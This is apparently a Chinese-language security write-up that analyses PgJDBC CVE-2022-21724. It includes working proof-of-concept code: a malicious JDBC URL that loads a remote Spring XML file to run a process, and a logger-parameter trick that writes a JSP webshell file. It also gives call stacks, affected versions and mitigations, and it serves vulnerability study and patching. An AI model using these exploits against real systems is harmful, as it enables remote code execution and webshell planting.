PostgreSQL JDBC Driver RCE(CVE-2022-21724)与任意文件写入漏洞利用与分析
字数 1174 2025-08-07 08:22:29
PostgreSQL JDBC Driver 漏洞分析与利用指南
0x00 漏洞概述
PostgreSQL JDBC Driver(PgJDBC)是一个用Pure Java(Type 4)编写的开源JDBC驱动程序,用于与PostgreSQL数据库通信。该驱动存在两个严重漏洞:
- 远程代码执行漏洞(CVE-2022-21724):通过恶意构造的JDBC URL实现任意代码执行
- 任意文件写入漏洞:通过日志配置参数实现任意文件写入
0x01 RCE漏洞(CVE-2022-21724)
影响版本
- < 42.2.25
-
= 42.3.0,< 42.3.2
漏洞原理
PgJDBC连接属性提供的类名可以实例化插件实例,但驱动程序在实例化类之前不验证类是否实现了预期接口,导致攻击者可以实例化任意类。
漏洞利用步骤
-
环境准备:
<!-- pom.xml 依赖 --> <dependency> <groupId>org.postgresql</groupId> <artifactId>postgresql</artifactId> <version>42.3.0</version> </dependency> <dependency> <groupId>org.springframework</groupId> <artifactId>spring-context-support</artifactId> <version>4.1.4.RELEASE</version> </dependency> -
构造恶意POC:
import java.sql.DriverManager; public class cve_2022_21724 { public static void main(String[]args)throws Exception{ String socketFactoryClass = "org.springframework.context.support.ClassPathXmlApplicationContext"; String socketFactoryArg = "http://127.0.0.1/poc.xml"; String dbUrl = "jdbc:postgresql:///?socketFactory="+socketFactoryClass+"&socketFactoryArg="+socketFactoryArg; DriverManager.getConnection(dbUrl); } } -
恶意XML文件(poc.xml):
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation=" http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="test" class="java.lang.ProcessBuilder"> <constructor-arg value="calc.exe" /> <property name="whatever" value="#{test.start()}"/> </bean> </beans>
漏洞分析
-
攻击流程:
- 通过
DriverManager.getConnection()触发漏洞 - PgJDBC解析URL参数并提取
socketFactory和socketFactoryArg - 使用反射实例化指定的
ClassPathXmlApplicationContext类 - 加载并解析远程XML文件
- 执行XML中定义的恶意代码
- 通过
-
关键调用栈:
newInstance:408, Constructor (java.lang.reflect) instantiate:62, ObjectFactory (org.postgresql.util) getSocketFactory:39, SocketFactoryFactory (org.postgresql.core) openConnectionImpl:184, ConnectionFactoryImpl (org.postgresql.core.v3) openConnection:51, ConnectionFactory (org.postgresql.core) <init>:225, PgConnection (org.postgresql.jdbc) makeConnection:466, Driver (org.postgresql) connect:265, Driver (org.postgresql) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql)
0x02 任意文件写入漏洞
影响版本
- 42.3.x < 42.3.3
- 42.1.x
漏洞原理
通过控制日志配置参数loggerLevel和loggerFile,可以将任意内容写入指定文件位置,包括JSP webshell。
漏洞利用步骤
-
POC代码:
import java.sql.DriverManager; public class cve_2022_21724_filewrite { public static void main(String[]args)throws Exception{ String loggerLevel="DEBUG"; String loggerFile="../hack.jsp"; String shellContent="<%test;%>"; String dbUrl = "jdbc:postgresql:///?loggerLevel="+loggerLevel+"&loggerFile="+loggerFile+"&"+shellContent; DriverManager.getConnection(dbUrl); } } -
利用效果:
- 在指定位置创建
hack.jsp文件 - 文件内容包含
<%test;%>JSP标签
- 在指定位置创建
漏洞分析
-
攻击流程:
- 通过
loggerLevel和loggerFile参数控制日志配置 - 初始化日志记录器时创建指定文件
- 将URL内容写入日志文件
- 由于URL可控且不受过滤,可以写入任意内容
- 通过
-
关键调用栈:
log:824, Logger (java.util.logging) connect:253, Driver (org.postgresql) getConnection:664, DriverManager (java.sql) getConnection:270, DriverManager (java.sql)
0x03 防护建议
-
升级到安全版本:
- 对于RCE漏洞:升级到42.2.25或42.3.2及以上版本
- 对于文件写入漏洞:升级到42.3.3及以上版本
-
输入验证:
- 对JDBC连接URL进行严格验证
- 禁止使用不受信任的URL参数
-
最小权限原则:
- 运行PostgreSQL JDBC驱动的应用使用最小必要权限
-
网络防护:
- 限制应用服务器出站连接,防止加载外部恶意XML
0x04 总结
这两个漏洞展示了JDBC驱动中参数处理不当可能导致的安全问题:
- RCE漏洞利用反射和Spring框架特性实现代码执行
- 文件写入漏洞滥用日志功能实现webshell上传
开发人员应密切关注依赖组件的安全更新,及时应用补丁,并对用户输入进行严格验证。